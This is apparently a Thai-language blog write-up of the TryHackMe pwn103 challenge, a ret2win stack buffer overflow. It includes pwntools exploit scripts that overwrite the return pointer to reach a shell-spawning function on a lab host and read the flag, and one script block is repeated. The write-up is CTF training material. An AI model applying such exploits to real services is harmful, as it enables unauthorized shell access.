Sitemap
mirakiht

mirakiht

OT sec, pentest, pwn, rev FB : Min Sahatsawat

Return To Win

3 min readOct 4, 2022

session นี้เราจะพูดถึงการ ควบคุม return pointer ของ stack เพื่อที่เราจะสามารถ return ไปที่ func ที่เราต้องการ

โจทย์ที่นำมา ref มาจาก tryhackme pwn101 ข้อ pwn103 นะ

Press enter or click to view image in full size

จะเห็นว่าเป็น 64 bit

พอลอง run ดูจะเห็นว่า มีหลาย menu ให้เลือก ถ้าเจอแบบนี้ให้เราลองไล่ดูทุก menu

Press enter or click to view image in full size

แต่พอลองไล่ดูแล้วจะเห็นว่า ตัวเลือกที่ 3 นั้นเราสามารถทำ buffer overflow ได้

ใช้ gdb info func จะเห็นว่ามี function admins_only ที่น่าสนใจ

ใช้ ghidra ดู c code ใน func admins_only() จะเห็นว่า มีการ execute shell /bin/sh

นั้นหมายความว่าถ้าเรา ทำ buffer overflow จาก ตัวเลือกที่ 3 และควบคุม RP และ return มาที่ func admins_only เราก็จะได้ shell มา

ดู c code ใน ตัวเลือกที่ 3 general จะเห็นว่ามี buffer 32 byte ที่รับค่าโดย __isoc99_scanf()

เรามาดู stack ของ program นี้กัน

จะเห็นว่า SFP มี 8 byte เพราะว่า เป็น 64 bit SFP เลยมี 8 byte

Get mirakiht’s stories in your inbox

Join Medium for free to get updates from this writer.

เราจะเขียน python script exploit ได้ตามนี้

from pwn import *
p = remote("10.10.101.121","9003")payload = b"A"*40 + p64(0x00401554)p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()
p.sendline('whoami')
p.sendline('id')
p.sendline('cat flag.txt')
p.interactive()

ip กับ port ก็ตามเว็บ tryhackme ของตัวเองที่ gen ขึ้นมาเลย

จะเห็นว่า SFP มี 8 byte เพราะว่า เป็น 64 bit SFP เลยมี 8 byte

เราจะเขียน python script exploit ได้ตามนี้

from pwn import *
p = remote("10.10.101.121","9003")payload = b"A"*40 + p64(0x00401554)p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()
p.sendline('whoami')
p.sendline('id')
p.sendline('cat flag.txt')
p.interactive()

ip กับ port ก็ตามเว็บ tryhackme ของตัวเองที่ gen ขึ้นมาเลย

Press enter or click to view image in full size

จะเห็นว่าถ้าเราใส่ address ของ admins_only เพียงแค่อันเดียวมันทำให้ shell ไม่เสถียร ผมจึงแก้ไขปัญหานี้โดยการ ใส่ address ของ admins_only ซ้ำอีก 1 อันเพื่อให้มันไปทับของเก่านั้นแหละ ทั้งนี้ขึ้นอยู่กับ server และประสบการณ์ของเราด้วยว่าถ้าเจอแบบนี้จะแก้ไขปัญหายังไง script ใหม่ก็จะได้ประมาณนี้

from pwn import *
p = remote("10.10.101.121","9003")payload = b"A"*40 + p64(0x00401554) + p64(0x00401554)p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()
p.sendline('whoami')
p.sendline('id')
p.sendline('cat flag.txt')
p.interactive()
Press enter or click to view image in full size

ได้ flag ออกมาแล้วว เจอกัน session หน้า happy for hacking บุยยยยยย

--

--

mirakiht
mirakiht

Written by mirakiht

OT sec, pentest, pwn, rev FB : Min Sahatsawat